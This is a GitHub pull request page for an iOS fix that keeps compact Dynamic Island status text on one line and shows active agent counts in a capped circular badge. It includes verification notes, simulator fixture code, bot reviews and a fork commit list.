Skip to content

fix(mobile): keep compact Dynamic Island status readable - #23035

Closed
onlydole wants to merge 1 commit into
pingdotgg:mainfrom
onlydole:fix/ios-dynamic-island-status-wrap
Closed

onlydole wants to merge 1 commit into
pingdotgg:mainfrom
onlydole:fix/ios-dynamic-island-status-wrap

Conversation

@onlydole

@onlydole onlydole commented Oct 21, 2026 •

Copy link
Copy Markdown
Contributor

Problem

When another Live Activity shares the Dynamic Island, compact trailing status text wraps inside its narrow slot. Input breaks into Inpu / t, and 3 active wraps across two lines.

Fixes #15682.

Change

Show the active count as bold black digits in a 28 pt circle using the existing phase tint. The circle separates the count from the T3 mark. Cap the visible count at 99+ while retaining the actual total and singular/plural wording in its native accessibility label. Keep action and outcome labels such as Input, Approval, Done, and Failed on one line, with scaling when needed.

Apple's Dynamic Island design session recommends essential compact information, rounded inset shapes with even margins, and an uncontained app mark. The count badge applies that guidance to the compact slot.

Scope and approval

This addresses the compact-slot rendering defect established in the issue's maintainer triage, which also identifies shorter compact copy as an option. The one-file change is local to iOS compactTrailing and uses provider-independent activity props.

Verification

A full iOS prebuild, pod install, Xcode build, and simulator install passed. Final layout changes kept the native fingerprint unchanged, and mobile-native-client ensure accepted the installed binary. Fresh ActivityKit activities verified the final native extension's pixels and accessibility labels.

The native check used an iPhone 18 Pro simulator running iOS 27.0, with Xcode 27.1 and an actual second Live Activity from a disposable companion app. That activity is labeled Test with a timer glyph. The rebuilt app paired to an isolated backend. Controlled activity props test rendering rather than network delivery.

Counts 1, 3, 12, 99, 123, and 1000 rendered in the final design. Both 123 and 1000 display 99+; native accessibility retains their full totals. Count 1 uses 1 active agent. Input, Approval, Done, and Failed stayed on one line.

node_modules/.bin/vp run check:changed passed formatting, lint, knip, and mobile/scripts typechecks on the final one-file diff. This visual fix uses native captures as regression proof, as the repository requests for visual bugs. Temporary fixtures are absent from the diff.

Physical iOS 27.0.1, single-activity visual behavior, landscape, reduced-luminance/tinted presentations, VoiceOver speech, and relay/APNs delivery remain unverified. The immediately stale fixture did not remain visible, so Out of date was not visually checked.

All images and the recording are status-bar crops reviewed for personal information. They exclude personal paths, device/session IDs, connection details, credentials, full-screen captures, and original phone attachments.

State Before After
Input Before: Input wraps onto two lines After: Input stays on one line
Three active agents Before: 3 active wraps and truncates After: black 3 inside the phase-colored circle

The final capped count for 123 active agents displays 99+. Its native accessibility label remains 123 active agents.

After: final 99+ circle for 123 active agents

This six-second continuous native recording shows the final circle with the second activity present. It has a constant 30 fps and contains no cuts or app switching. All 180 frames have the same circle bounds.

t3-15682-final-steady.mp4
Final native accessibility results

Each case has two native Live Activity roots. Matching text nodes and bounds are retained; runtime identifiers are omitted.

[
  {
    "case": "count-1",
    "liveActivityCount": 2,
    "nativeText": [
      {
        "type": "Other",
        "label": "1 active agent",
        "rect": {
          "height": 42,
          "x": 183,
          "width": 35,
          "y": 0
        }
      }
    ],
    "displayedCount": "1"
  },
  {
    "case": "count-3",
    "liveActivityCount": 2,
    "nativeText": [
      {
        "type": "Other",
        "label": "3 active agents",
        "rect": {
          "width": 35,
          "height": 42,
          "y": 0,
          "x": 183
        }
      }
    ],
    "displayedCount": "3"
  },
  {
    "case": "count-12",
    "liveActivityCount": 2,
    "nativeText": [
      {
        "type": "Other",
        "label": "12 active agents",
        "rect": {
          "x": 183,
          "y": 0,
          "height": 42,
          "width": 35
        }
      }
    ],
    "displayedCount": "12"
  },
  {
    "case": "count-99",
    "liveActivityCount": 2,
    "nativeText": [
      {
        "type": "Other",
        "label": "99 active agents",
        "rect": {
          "x": 183,
          "y": 0,
          "height": 42,
          "width": 35
        }
      }
    ],
    "displayedCount": "99"
  },
  {
    "case": "count-123",
    "liveActivityCount": 2,
    "nativeText": [
      {
        "type": "Other",
        "label": "123 active agents",
        "rect": {
          "y": 0,
          "x": 183,
          "width": 35,
          "height": 42
        }
      }
    ],
    "displayedCount": "99+"
  },
  {
    "case": "count-1000",
    "liveActivityCount": 2,
    "nativeText": [
      {
        "type": "Other",
        "label": "1000 active agents",
        "rect": {
          "x": 183,
          "y": 0,
          "height": 42,
          "width": 35
        }
      }
    ],
    "displayedCount": "99+"
  },
  {
    "case": "input",
    "liveActivityCount": 2,
    "nativeText": [
      {
        "type": "Other",
        "label": "Input",
        "rect": {
          "width": 35,
          "y": 0,
          "height": 42,
          "x": 183
        }
      }
    ]
  },
  {
    "case": "approval",
    "liveActivityCount": 2,
    "nativeText": [
      {
        "type": "Other",
        "label": "Approval",
        "rect": {
          "x": 183,
          "width": 35,
          "y": 0,
          "height": 42
        }
      }
    ]
  },
  {
    "case": "done",
    "liveActivityCount": 2,
    "nativeText": [
      {
        "type": "Other",
        "label": "Done",
        "rect": {
          "y": 0,
          "height": 42,
          "x": 183,
          "width": 35
        }
      }
    ]
  },
  {
    "case": "failed",
    "liveActivityCount": 2,
    "nativeText": [
      {
        "type": "Other",
        "label": "Failed",
        "rect": {
          "x": 183,
          "y": 0,
          "height": 42,
          "width": 35
        }
      }
    ]
  }
]
Reproduce the native check
  1. Open an iOS simulator in T3's Device panel and use the returned AgentDevice launcher and flags throughout.
  2. Run node scripts/mobile-native-client.ts ensure ios <simulator-id>, start Metro, and pair to an isolated worktree backend.
  3. Temporarily copy the fixture below into apps/mobile/src/compactStatusFixture.ts and import it from the mobile entry point. Run the companion build script, install the resulting app, and start its second activity.
  4. Open t3code-dev://compact-status-fixture?phase=running&count=3, then return to SpringBoard. Repeat for 1, 12, 99, 123, and 1000. Use phase=input, approval, done, or failed for the labels. The disposable fixture URL can show Route not found in the app; its native activity is still created.
  5. Confirm two Live Activity roots and the expected full label in a fresh native accessibility snapshot. Capture the system Island. Device-panel and simctl screenshots omitted its pixels here, so the evidence uses cropped Xcode Device Hub window captures.
  6. End with phase=clear, end and uninstall the companion, remove the temporary source/import and simulator connection, and stop only your test processes.
Disposable reproduction fixtures

These files stay outside the code diff. Use them only in a disposable simulator checkout, then remove them as described above.

compactStatusFixture.ts

import { Linking } from "react-native";
import AgentActivity, { type AgentActivityPhase, type AgentActivityProps } from "./widgets/AgentActivity";

async function fixture(url: string) {
  if (!url.includes("compact-status-fixture")) return;
  const params = new URL(url).searchParams;
  const value = params.get("phase") ?? "input";
  await Promise.all(AgentActivity.getInstances().map((activity) => activity.end("immediate")));
  if (value === "clear") return;
  const phase: AgentActivityPhase = value === "input" ? "waiting_for_input" : value === "approval" ? "waiting_for_approval" : value === "done" ? "completed" : value === "failed" ? "failed" : "running";
  const count = value === "done" || value === "failed" ? 0 : value === "running" ? Number(params.get("count") ?? 3) : 1;
  const props: AgentActivityProps = {
    title: "T3 Code",
    subtitle: "Disposable #15682 native fixture",
    activeCount: count,
    updatedAt: new Date().toISOString(),
    activities: [{ environmentId: "fixture", threadId: "fixture", projectTitle: "Disposable #15682 fixture", threadTitle: "Compact status native verification", modelTitle: "Fixture", phase, status: value === "input" ? "Input" : value === "approval" ? "Approval" : value === "done" ? "Done" : value === "failed" ? "Failed" : "Working", updatedAt: new Date().toISOString(), deepLink: "/" }],
  };
  const instance = AgentActivity.start(props, undefined, value === "stale" ? new Date(Date.now() - 1000) : undefined);
  console.log("#15682 fixture", value, instance.getId());
}
Linking.addEventListener("url", ({url}) => void fixture(url));
void Linking.getInitialURL().then((url) => { if (url) void fixture(url); });

Shared.swift

import ActivityKit
struct FixtureAttributes: ActivityAttributes {
  struct ContentState: Codable, Hashable { var title: String }
  var name: String
}

App.swift

import SwiftUI
import ActivityKit
@main struct IslandFixtureApp: App {
  var body: some Scene {
    WindowGroup {
      VStack(spacing: 20) {
        Text("Disposable #15682 companion").font(.title2)
        Text("A real second Live Activity for compact layout testing.")
        Button("Start second activity") { start() }
        Button("End second activity") { end() }
      }.padding().onOpenURL { url in
        if url.host == "clear" { end() } else { start() }
      }
    }
  }
  func start() {
    guard Activity<FixtureAttributes>.activities.isEmpty else { return }
    do { _ = try Activity.request(attributes: FixtureAttributes(name: "Disposable companion"), content: .init(state: .init(title: "Fixture"), staleDate: nil), pushType: nil) } catch { print(error) }
  }
  func end() { for activity in Activity<FixtureAttributes>.activities { Task { await activity.end(nil, dismissalPolicy: .immediate) } } }
}

Widget.swift

import SwiftUI
import WidgetKit
import ActivityKit
@main struct FixtureBundle: WidgetBundle { var body: some Widget { FixtureWidget() } }
struct FixtureWidget: Widget {
  var body: some WidgetConfiguration {
    ActivityConfiguration(for: FixtureAttributes.self) { context in
      Text("Disposable #15682 companion Live Activity").padding()
    } dynamicIsland: { context in
      DynamicIsland {
        DynamicIslandExpandedRegion(.center) { Text("Disposable #15682 companion") }
      } compactLeading: { Image(systemName: "timer") } compactTrailing: { Text("Test") } minimal: { Image(systemName: "timer") }
      .keylineTint(.orange)
    }
  }
}

App-Info.plist

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>CFBundleDevelopmentRegion</key>
	<string>en</string>
	<key>CFBundleDisplayName</key>
	<string>Island Fixture</string>
	<key>CFBundleExecutable</key>
	<string>IslandFixture</string>
	<key>CFBundleIdentifier</key>
	<string>dev.t3code.compactstatusfixture</string>
	<key>CFBundleName</key>
	<string>IslandFixture</string>
	<key>CFBundlePackageType</key>
	<string>APPL</string>
	<key>CFBundleShortVersionString</key>
	<string>1.0</string>
	<key>CFBundleSupportedPlatforms</key>
	<array>
		<string>iPhoneSimulator</string>
	</array>
	<key>CFBundleURLTypes</key>
	<array>
		<dict>
			<key>CFBundleURLSchemes</key>
			<array>
				<string>island-fixture</string>
			</array>
		</dict>
	</array>
	<key>CFBundleVersion</key>
	<string>1</string>
	<key>LSRequiresIPhoneOS</key>
	<true/>
	<key>MinimumOSVersion</key>
	<string>18.0</string>
	<key>NSSupportsLiveActivities</key>
	<true/>
	<key>UIDeviceFamily</key>
	<array>
		<integer>1</integer>
	</array>
	<key>UILaunchScreen</key>
	<dict/>
</dict>
</plist>

Widget-Info.plist

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>CFBundleDevelopmentRegion</key>
	<string>en</string>
	<key>CFBundleDisplayName</key>
	<string>Island fixture</string>
	<key>CFBundleExecutable</key>
	<string>IslandFixtureWidget</string>
	<key>CFBundleIdentifier</key>
	<string>dev.t3code.compactstatusfixture.widget</string>
	<key>CFBundleName</key>
	<string>IslandFixtureWidget</string>
	<key>CFBundlePackageType</key>
	<string>XPC!</string>
	<key>CFBundleShortVersionString</key>
	<string>1.0</string>
	<key>CFBundleSupportedPlatforms</key>
	<array>
		<string>iPhoneSimulator</string>
	</array>
	<key>CFBundleVersion</key>
	<string>1</string>
	<key>MinimumOSVersion</key>
	<string>18.0</string>
	<key>NSExtension</key>
	<dict>
		<key>NSExtensionPointIdentifier</key>
		<string>com.apple.widgetkit-extension</string>
	</dict>
	<key>NSSupportsLiveActivities</key>
	<true/>
	<key>UIDeviceFamily</key>
	<array>
		<integer>1</integer>
	</array>
</dict>
</plist>

build-companion.sh

#!/usr/bin/env bash
set -euo pipefail
fixture_dir="$(cd "$(dirname "$0")" && pwd)"
build_dir="$fixture_dir/.build"
app="$build_dir/IslandFixture.app"
ext="$app/PlugIns/IslandFixtureWidget.appex"
mkdir -p "$ext"
cp "$fixture_dir/App-Info.plist" "$app/Info.plist"
cp "$fixture_dir/Widget-Info.plist" "$ext/Info.plist"
xcrun --sdk iphonesimulator swiftc -target arm64-apple-ios18.0-simulator -parse-as-library "$fixture_dir/Shared.swift" "$fixture_dir/App.swift" -o "$app/IslandFixture"
xcrun --sdk iphonesimulator swiftc -target arm64-apple-ios18.0-simulator -parse-as-library -application-extension -Xlinker -e -Xlinker _NSExtensionMain "$fixture_dir/Shared.swift" "$fixture_dir/Widget.swift" -o "$ext/IslandFixtureWidget"
codesign --force --sign - "$ext"
codesign --force --sign - "$app"
printf '%s\n' "$app"
Final focused check output
$ node scripts/check-changed.ts ⊘ cache disabled
check:changed: 1 files since b5a226e49c52

> vp format
Checking formatting...

All matched files use the correct format.
Finished in 99ms on 1 files using 12 threads.

> vp lint

> vp knip
$ knip --include files,dependencies --no-config-hints ⊘ cache disabled

$ knip --workspace apps/server --workspace apps/desktop --workspace apps/web --workspace packages/client-runtime --workspace packages/contracts --workspace packages/effect-acp --workspace packages/effect-codex-app-server --workspace packages/shared --workspace packages/ssh --workspace packages/tailscale --workspace packages/provider-core --workspace packages/provider-acp --workspace packages/provider-acp-registry --workspace packages/provider-testing --workspace packages/provider-pi --workspace packages/provider-muse --workspace packages/provider-opencode --workspace packages/provider-cursor --workspace packages/provider-grok --workspace packages/source-control-core --workspace packages/source-control-azure-devops --workspace packages/source-control-bitbucket --workspace packages/source-control-forgejo --workspace packages/source-control-gitcafe --workspace packages/source-control-github --workspace packages/source-control-gitlab --workspace packages/source-control-testing --exports --preprocessor ./scripts/knip-schemas.ts --no-config-hints ⊘ cache disabled

---
vp run: 2/2 successful. (Run `vp run --last-details` for full details)

> vp typecheck (2 packages)
~/scripts$ tsc-rs --noEmit ○ cache miss: 'scripts/mobile-native-static-check.ts' modified, executing
~/apps/mobile$ tsc-rs --noEmit ○ cache miss: 'apps/mobile/src/lib/markdownMedia.test.ts' modified, executing


---
vp run: 0/2 cache hit (0%), 2/2 successful. @t3tools/scripts#typecheck not cached because it modified its inputs. (Run `vp run --last-details` for full details)

check:changed summary
  pass  format  0.4s
  pass  lint  0.6s
  pass  knip  35.9s
  pass  typecheck (2 packages)  1.9s
  CI also runs: full test suites

Made with GPT-6.1 Sol through the Codex harness in T3 Code.

Copilot AI balanced review requested due to automatic review settings October 21, 2026 18:45

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Copilot was unable to review this pull request because the user who requested the review has reached their quota limit.

@chatgpt-codex-connector

chatgpt-codex-connector Bot commented Oct 21, 2026 •

Copy link
Copy Markdown

Codex Review Summary

This comment shows the latest Codex review activity on this pull request.

Review Status Commit Review trigger
📝 Code Review ⚠️ Failed 2026-10-21T18:47:24.231991Z
We couldn’t complete this review. Comment @codex review to try again.
c1be92d PR opened
ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review" or "@codex security review".

Codex reacts with 👀 while any review is running, comments if it has suggestions, and reacts with 👍 once all reviews finish with no findings.

@github-actions github-actions Bot added vouch:unvouched PR author is not yet trusted in the VOUCHED list. size:S 10-29 changed lines (additions + deletions). labels Oct 21, 2026
@macroscopeapp

macroscopeapp Bot commented Oct 21, 2026

Copy link
Copy Markdown
Contributor

Approvability

Verdict: Approved at c1be92d

Macroscope's review found this PR approvable — This is a focused mobile Live Activity presentation change that improves compact active-agent readability and accessibility without changing data contracts, workflows, or configuration. Existing attention, completed, failed, and stale states retain their prior labels.

You can add or adjust custom eligibility rules. Learn more.

@coderabbitai

coderabbitai Bot commented Oct 21, 2026 •

Copy link
Copy Markdown
Contributor

Review in Change Stack →

Important

Review skipped

Review was skipped as selected files did not have any reviewable changes.

⚙️ Run configuration
  • Configuration used: Path: .coderabbit.config.ts
  • Review profile: CHILL
  • Plan: Advanced
  • Run ID: f4b4ca88-901d-4bce-9c13-4ec4d9dccdb1
📥 Commits

Reviewing files that changed from the base of the PR and between 8eee65f and 00640fd.

You can disable this status message by setting the reviews.review_status to false in the CodeRabbit configuration file.

Use the checkbox below for a quick retry:

  • 🔍 Trigger review

No actionable comments were generated in the recent review. 🎉

ℹ️ Recent review info
⚙️ Run configuration
  • Configuration used: Path: .coderabbit.config.ts
  • Review profile: CHILL
  • Plan: Advanced
  • Run ID: 9c73c570-3785-43a8-aaa1-5dd215a304b3
📥 Commits

Reviewing files that changed from the base of the PR and between 22dca85 and 6a90274.

📒 Files selected for processing: 1
  • apps/mobile/src/widgets/AgentActivity.tsx

Included review availability: This review used your included allowance. Your plan provides up to 10 included reviews per hour; 9 remain after this review.

📝 Walkthrough

The compact Live Activity status now shows a capped active count when work is current and no attention row is present. Other states retain their existing status labels, with a minimum scale factor added to the text fallback.

Changes: Compact status display

Layer / File(s) Summary
Select and render compact status
apps/mobile/src/widgets/AgentActivity.tsx
When no attention row exists, work is active, and the activity is not stale, the trailing status shows the count up to 99+. The count uses an accessible tinted circular badge. Other states retain their text labels, which now use a 0.5 minimum scale factor.

Priority: ⬇️ Low

Estimated code review effort: 2 (Simple) | ~8 minutes

Change: Bug fix · Severity of issue fixed: Low

Suggested reviewers: fixfon

Merge Risk: ⚪ Minimal · up to 6a902

The compact status change is ready to merge after normal checks; no specific remaining user-facing failure has been established.

Pre-merge checks: Passed 4
Check name Status Explanation
Title check Passed The title clearly and concisely identifies the main change: improving readability of compact Dynamic Island status content on mobile.
Linked Issues check Passed Issue #15682 requires compact trailing status content to stay on one line when another Live Activity shares the Dynamic Island. apps/mobile/src/widgets/AgentActivity.tsx adds lineLimit(1) and `min…
Out of Scope Changes check Passed The whole-PR diff changes only apps/mobile/src/widgets/AgentActivity.tsx. The count badge, visual cap, accessibility label, and single-line modifiers directly implement issue #15682. No unrelated pr…
Description check Passed The pull request description includes all required sections: Problem, Change, Scope and approval, and Verification. It explains the defect, implementation, linked issue and maintainer triage, focused …
Full details: Linked Issues check

Explanation

Issue #15682 requires compact trailing status content to stay on one line when another Live Activity shares the Dynamic Island. apps/mobile/src/widgets/AgentActivity.tsx adds lineLimit(1) and minimumScaleFactor to the text states. Running states use a 28 pt tinted count circle with a visual 99+ cap. The circle exposes agentsLabel, which preserves the actual count and singular/plural wording for accessibility. Input, Approval, Done, Failed, and Out of date use the single-line text path. The reported native checks cover the required count and status cases.

Full details: Out of Scope Changes check

Explanation

The whole-PR diff changes only apps/mobile/src/widgets/AgentActivity.tsx. The count badge, visual cap, accessibility label, and single-line modifiers directly implement issue #15682. No unrelated product area or Live Activity presentation changed.

Full details: Description check

Explanation

The pull request description includes all required sections: Problem, Change, Scope and approval, and Verification. It explains the defect, implementation, linked issue and maintainer triage, focused test results, visual evidence, limitations, and agent details.

✨ Finishing Touches
🧪 Generate unit tests (beta)
  • Create a new PR
  • Autofix · Keep fixing CodeRabbit findings and required CI, and resolving merge conflicts

Comment @coderabbitai help to get the list of available commands.

@github-actions github-actions Bot added size:M 30-99 changed lines (additions + deletions). and removed size:S 10-29 changed lines (additions + deletions). labels Oct 22, 2026
Keep compact status labels on one line and show active counts in a phase-colored circle capped at 99+. Preserve the actual count in the native accessibility label.

Fixes pingdotgg#15682.
@onlydole
onlydole force-pushed the fix/ios-dynamic-island-status-wrap branch from 8eee65f to 00640fd Compare October 22, 2026 00:57
t3dotgg added a commit that referenced this pull request Oct 22, 2026
… Activities (#23327)

Fixes #15682. Takes over #23035.

Co-authored-by: Taylor Dolezal <onlydole@users.noreply.github.com>
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
@t3dotgg

t3dotgg commented Oct 22, 2026

Copy link
Copy Markdown
Member

Note

🤖 Claude Opus 5.5 responding on behalf of Theo

Merged as part of #23327, with your commit rebased onto current main. The squash commit keeps you as co-author. Closing this one since it is now redundant. Thanks for the fix and the careful native captures.

@t3dotgg t3dotgg closed this Oct 22, 2026
@onlydole
onlydole deleted the fix/ios-dynamic-island-status-wrap branch October 22, 2026 12:16
mvkvc added a commit to cloudloom-ai/t3code that referenced this pull request Oct 23, 2026
* refactor(web): timeline user message rows and context chips live in their own files (pingdotgg#22676)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): timeline assistant and orchestration event rows live in their own files (pingdotgg#22677)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): timeline row derivation, position restore and find reader live in hooks (pingdotgg#22682)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): the command palette's theme items live in their own file (pingdotgg#22679)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): the command palette's thread items come from their own hook (pingdotgg#22687)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): the command palette's project items and pure helpers live in their own files (pingdotgg#22699)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): the command palette's add-project views are components (pingdotgg#22707)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* feat(cli): start, message, and read threads from the terminal with t3 thread (pingdotgg#22732)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): composer attachment tiles live in their own component (pingdotgg#22689)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): resting image previews and queued attachments are their own components (pingdotgg#22719)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): composer mode controls and footer actions live in ComposerFooterControls (pingdotgg#22720)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): typing no longer re-renders the composer model picker (pingdotgg#22721)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): composer suggestion lists are built by useComposerMenuItems (pingdotgg#22722)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): the sidebar's thread rows live in their own file (pingdotgg#22696)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): sidebar list markers and draft rows live in their own files (pingdotgg#22729)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* feat(dev): first dev start seeds real data and warms deps (pingdotgg#22744)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): the pull requests column lives in its own component (pingdotgg#22671)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): the pull request header's crumbs, title editor and base branch live in their own components (pingdotgg#22672)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): the pull request header's actions live in their own components (pingdotgg#22702)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): the pull request detail loader lives in its own hook (pingdotgg#22703)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): the pull request list's rows read the speed-mode modifier themselves (pingdotgg#22704)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): the pull requests page's scope and grouping hooks live in their own module (pingdotgg#22705)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): the pull requests route only validates its search; the page lives under components (pingdotgg#22706)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* perf(web): Shift re-renders only each row's quick-action group (pingdotgg#22726)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): the pull request list's grouping helper lives in a logic module (pingdotgg#22727)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): chat markdown code blocks live in their own module (pingdotgg#22690)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): the Mermaid code block lives in its own component file (pingdotgg#22691)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): chat markdown tables and details live in their own components (pingdotgg#22692)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): chat markdown links and file chips live in their own modules (pingdotgg#22693)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): chat markdown images and videos live in their own module (pingdotgg#22694)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): ChatView's module-level helpers live in their own files (pingdotgg#22665)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): ChatView's persistent terminal drawers live in their own component (pingdotgg#22680)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): ChatView's right panel lives in its own component (pingdotgg#22700)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): ChatView's timeline follow and anchoring lives in useTimelineFollow (pingdotgg#22701)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): ChatView's machine and server-update banners live in useSystemComposerBanners (pingdotgg#22710)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): ChatView's subagent, goal, background-work and branch banners are built in ThreadActivityBanners (pingdotgg#22725)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): ChatView's draft machine routing lives in useDraftEnvironmentRouting (pingdotgg#22728)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): ChatView's send preparation is pure functions in ChatView.logic (pingdotgg#22734)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): the archived threads settings page lives in its own file (pingdotgg#22666)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): the typography settings section lives in its own file (pingdotgg#22667)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): the appearance settings page lives in its own file (pingdotgg#22668)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): the background activity setting and its dialog live in their own file (pingdotgg#22669)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): the connections page's pure helpers live in ConnectionsSettings.logic (pingdotgg#22683)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): authorized clients and endpoint rows live in their own file (pingdotgg#22684)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* refactor(web): saved and T3 Connect environment rows live in their own file (pingdotgg#22685)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* perf(server): skip the macOS xcrun git shim (pingdotgg#22759)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* docs(agents): read vendored .repos with git show when sparse-excluded (pingdotgg#22764)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(web): ⌘Z undoes a settle even when the composer has focus (pingdotgg#22607)

Co-authored-by: ishaanko <ishaanko.mail@gmail.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* feat(scripts): one command checks what the branch changed (pingdotgg#22767)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(scripts): check:changed no longer skips knip after a removed import (pingdotgg#22784)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* perf(dev): faster first load for shared dev servers (pingdotgg#22776)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(server): stalled clones say "Stalled" instead of a frozen speed (pingdotgg#22780)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(web): steers split a finished turn's work instead of stacking under it (pingdotgg#22783)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(web): images on their own line no longer sit beside their label (pingdotgg#22787)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(release): include pnpm hook in Vercel uploads (pingdotgg#22813)

* fix(release): keep Vercel warnings out of deployment URLs (pingdotgg#22817)

* fix(queue): send selected held messages when a thread is stopped (pingdotgg#22790)

* fix(server): delegated Claude children follow your subagent cache TTL setting (pingdotgg#22841)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(server): t3 pair in a worktree no longer falls back to the live install (pingdotgg#22855)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(server): avoid expensive diff minimization in status refreshes (pingdotgg#21872)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(codex): keep every path of a multi-file patch (pingdotgg#22541)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
Co-authored-by: GPT-6.1 Sol <noreply@openai.com>

* fix(gitlab): merge request diffs page 30 files at a time so GitLab 15.7 to 17.10 answer (pingdotgg#21909)

* fix(server): keep Antigravity question options and no-custom-answer flag in V2 (pingdotgg#22019)

* fix(server): commit prompts no longer repeat CLAUDE.md when it matches AGENTS.md (pingdotgg#22848)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(mcp): point a bare thread uuid at its mcp: thread in thread_not_found (pingdotgg#22452)

* fix(opencode): out-of-funds failures show OpenCode's message instead of a usage limit (pingdotgg#22596)

* fix(shared): accept a pasted ChatGPT callback URL that is missing http:// (pingdotgg#21750)

* fix(server): the background service picks up JAVA_HOME from the login shell (pingdotgg#22856)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(server): answered questions say "already answered" instead of "not found" (pingdotgg#22850)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* fix(desktop): an abandoned browser sign-in no longer blocks T3 Connect for 3 minutes (pingdotgg#22903)

On desktop, an abandoned browser sign-in blocked every T3 Connect sign-in for 3 minutes. A new attempt now replaces the stale Clerk flow, and a Cancel bar resets the sheet. Takeover of pingdotgg#22708.

Co-authored-by: steve-ai-vibe <steve.ai.vibe@gmail.com>
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* fix(server): agents get a short, current model list instead of a 55k-character catalog dump (pingdotgg#22889)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

* docs(agents): proof for a bug fix depends on the bug (pingdotgg#23008)

Co-authored-by: Claude Fable 5.1 <noreply@anthropic.com>

* fix(server): removing a worktree on Windows no longer deletes what its junctions point to (pingdotgg#21099)

Co-authored-by: sheehanmunim <80079528+sheehanmunim@users.noreply.github.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
Co-authored-by: Julius Marminge <julius0216@outlook.com>

* perf(web): a streaming thread re-renders only its own sidebar row (pingdotgg#22730)

Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>

